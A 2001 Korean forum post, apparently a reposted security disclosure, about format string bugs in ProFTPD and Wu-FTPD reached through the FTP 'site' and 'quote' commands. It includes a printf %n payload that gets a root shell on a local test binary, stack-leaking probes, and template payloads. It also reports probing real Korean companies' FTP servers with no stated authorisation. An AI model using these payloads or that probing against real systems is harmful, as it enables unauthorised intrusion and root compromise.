>> Read No. 2375 article  
[보안] 최신 ProFTPD, Wu-FTPD의 Format String Bug

등록 2001-08-02 15:05:22     조회 563
이름 박찬범    

 FTPD Site 명령과 quote 명령을 이용한 remote format string attack 구사.

      - 작성자: iNetCop - Xpl017Elz -

 site command bug:
 Version that test directly: ProFTPD 1.2.1-2wl Server (Redhat) [7.1],
                             ftp상에서 "site" 명령수행이 가능한 대부분
의 서버.

 quote command bug:
 Version that test directly: ProFTPD 1.2.0pre10 Server (Debian)
[orange],
                             ProFTPD 1.2.0rc2-1kr2 (Redhat) [7.0],
                             ProFTPD 1.2.1-2wl Server (Redhat) [7.1],
                             FTP server (Version 6.5/OpenBSD)
                             ftp상에서 "quote" 명령수행이 가능한 대부분
의 서버.

 [x82@www tmp]$ ./bugtestfile
 input: AAAA%x%x%x%x
 output: AAAA414141417825782578257825a <--- 이부분을 통해 format
string 저장되있는 스택영역이 노출된다.
 [x82@www tmp]$
 [x82@www tmp]$ (printf "\x41\x41\x41\x41\x9c\xf2\xff\xbf\x41\x41\x41
\x41\x9e\xf2\xff\xbf%%64848c%%n%%49823c%%n";cat) | ./bugtestfile

                                       ...
                                            ...
       A

                                                 ...      중
략      ...

                                                          ...


                                                              ...

 whoami
 root
 id
 uid=999(x82) gid=999(x82) euid=0(root) groups=999(x82),10(wheel)

 이런식이 대부분 format string을 이용해 가상으로 root 권한을 획득하는
장면이다.
 이미 wu-ftpd 상에서 "site exec" 명령을 이용한 format string 취약점이
발표되었다.

 필자는 다른 ftp에도 취약점이 존재하지 않을까 하고 TEST를 해보았다.
 그 결과,

 bash-2.04$ ftp 127.emoticon.1
 Connected to 127.emoticon.1.
 220 BCB1COOL Server (FORMAT STRING BUG SERVER) [xxx.bugserver.com]
 500 AUTH not understood.
 500 AUTH not understood.
 KERBEROS_V4 rejected as an authentication type
 Name (127.emoticon.1:x82): x82
 331 Password required for x82.
 Password:
 230 User x82 logged in.
 Remote system type is UNIX.
 Using binary mode to transfer files.
 ftp> site AAAA%x%x%x%x%x%x%x%x%x%x
 500 'SITE
AAAA806C1A527FA805164828057650BFFFE9C4BFFFC190455449534141412025782541'
 not understood.
 414141~이 9번째 출력되었다.
 ftp> quote AAAA%x%x%x%x%x%x%x%x%x%x
 500
AAAA806C1A627FF805164828057650BFFFE9C4BFFFC190414141417825782578257825
not understood.
 41414141이 8번째 출력되었다.
 ftp>
 ftp> site AAAA%x%x%x%x%x%x%x%x%n <--- %n 디렉티브를 사용하니 coredump
가 일어나버렸다.
 Segmentation fault (core dumped)
 bash-2.04$
 bash-2.04$ cat /etc/redhat-release
 WOWLiNUX Release 7.1 (Paran)
 bash-2.04$ uname -a
 Linux xxx.bugserver.com 2.4.2-2wl #1 Thu Mar 16 05:21:58 KST 2001
i686 unknown
 bash-2.04$
 bash-2.04$ file core
 core: ELF 32-bit LSB core file of 'ftp' (signal 11), Intel 80386,
version 1, from 'ftp'

 정상적인 경우:

 ftp> site AAAA%x%x%x%x%x%x%x%x%x%n
 ftp> 500 'SITE AAAA%X%X%X%X%X%X%X%X%X%n' not understood.

 이런 결과를 보여주는 ftp server는 취약점이 없다.

 eggshell address: 0xbffffa28

 ex> quote \....................%8x%8x%8x%8x%8x%8x%8x%8x..............%
n....................%n
 ex> site "\....................%8x%8x%8x%8x%8x%8x%8x%8x%8x...........%
n....................%n"

 uname -a
 Linux xxx.bugserver.com 2.4.2-2wl #1 Thu Mar ...
 whoami
 root
 id
 uid=0(root) gid=0(root) groups=0(root)

 위와 같은 결과는 다음의 조건을 따라야 가능할것이다.

 1. 덥어쓰기 원하는 주소의 위치를 알아야함. 즉, 리턴어드레스
 2. 띄워둔 shellcode의 주소를 계산하여야 한다.
 3. 전체적으로 필요한 계산. 즉, format string이 이루어질수 있는 조건을
만듬.

 FTP를 운영하는 서버라면 거의 대부분이 이런 취약점을 가지고 있는것같다.
 국내 몇업체에도 각각 시험을 해보았다.

 netian.com

 ftp> quote AAAA%x%x%x%x%x%x%x%x%x%x
 500
AAAA7800BBAA10072B81008820056F3E841414141782578257825782578257825782578
25 not understood.

 dreamwiz.com

 ftp> quote AAAA%x%x%x%x%x%x%x%x%x%x
 500
AAAA7800BBAA10072B81008820056F3E841414141782578257825782578257825782578
25 not understood.

 nbci.com

 ftp> quote AAAA%x%x%x%x%x%x%x%x%x%x

500 'AAAA7800BBAA10072B81008820056F3E8414141417825782578257825782578257
8257825': command not understood.

 취약점이 드러나는곳이 많이 존재하는것 같다.
 exploit 하기에는 상당히 환경에 문제가 발생하여 작업을 중단하고 있는 상
태이다.
 아직까지 exploit을 완성하지는 못했다. 그것은 아마도 실력이 있는 다른해
커님들께 맏기겠다.
 현재 이 취약점은 윈도우상에서 ftp를 이용하여 들어가면 실행히 되지만,
어느 리눅스상에서는 통하지 않는곳도 존재했다.

 format string 취약점이 존재하는것은 wu-ftp와 다를것이 없다.
 누군가가 exploit 하기전에 하루빨리 그에따른 방안이나 보안패치가 나와
야 할것이다.

--
http://www.inetcop.org

배포를 하실 경우에 출처를 밝혀 주십시오.
이름
암호


>> 관련글
2375 [보안] 최신 ProFTPD, Wu-FTPD의 Format String Bug  박찬범  2001.08.02  ..562 
  답장 RE: [보안] 최신 ProFTPD, Wu-FTPD의 Format String Bug  흠냐  2001.08.02  ..266 
  답장 RE: RE: [보안] 최신 ProFTPD, Wu-FTPD의 Format String Bug  흠냐  2001.08.02  ..261 
  목록보기 윗글 아랫글
글쓰기
답장쓰기 수정 삭제
정규표현식 [ 상세 검색 ]
페이지로딩: [ 0.55 초 ] 작업시간: [ 0.06 초 ]

Copyleft 1999-2026 by JSBoard Open Project
Theme Designed by IDOO All right reserved
[TOP]

적수네 동네
+
| 적수네 동네
| 공부방
| 리눅스 잡지 서고
| LSN 소스
| 링크 모음
+---+
게시판
+
| 떠들어보세!
| 질문과 답변
| 새소식과 정보
| 1원짜리 팁?
| 대화방
+---+
칼럼?
+
| 세하 훔쳐보기
| Welcome2nite
| 혜진의 염장판
+---+
리눅스 상표권
+
| 반대 서명란
| 토론 게시판
+---+
GNU
+
| GNU 선언문
| GNU GPL
| GNU 미러 목록
+---+
프로젝트?
+
| 리눅스카운터
| RC5DES
| 실질헌법 제작
+---+
커널 소식
+
| 안정 버젼: 2.4.14
+---+
테마 선택
+
LSN 방송국?
+
| OFF AIR
+---+
회원
+
| 로그인
+---+
[ 적수네 동네 ] [ 리눅스 상표권 독점 반대 ] [ 한글 리눅스 문서 프로젝트 ] [ KrLine ] [ 사랑넷 ] [ Valid HTML 4.0! ] [ SlashDot ] [ Freshmeat ]
Copyleft (C) 1998-2001 Byeong-Chan Kim . License
TIME: 1791055441
System by WYZsoft, HDD by I.O.Linux, Mizi Research, Embryo, WOWLINUX, Domain by SarangNet, Network by KrLine.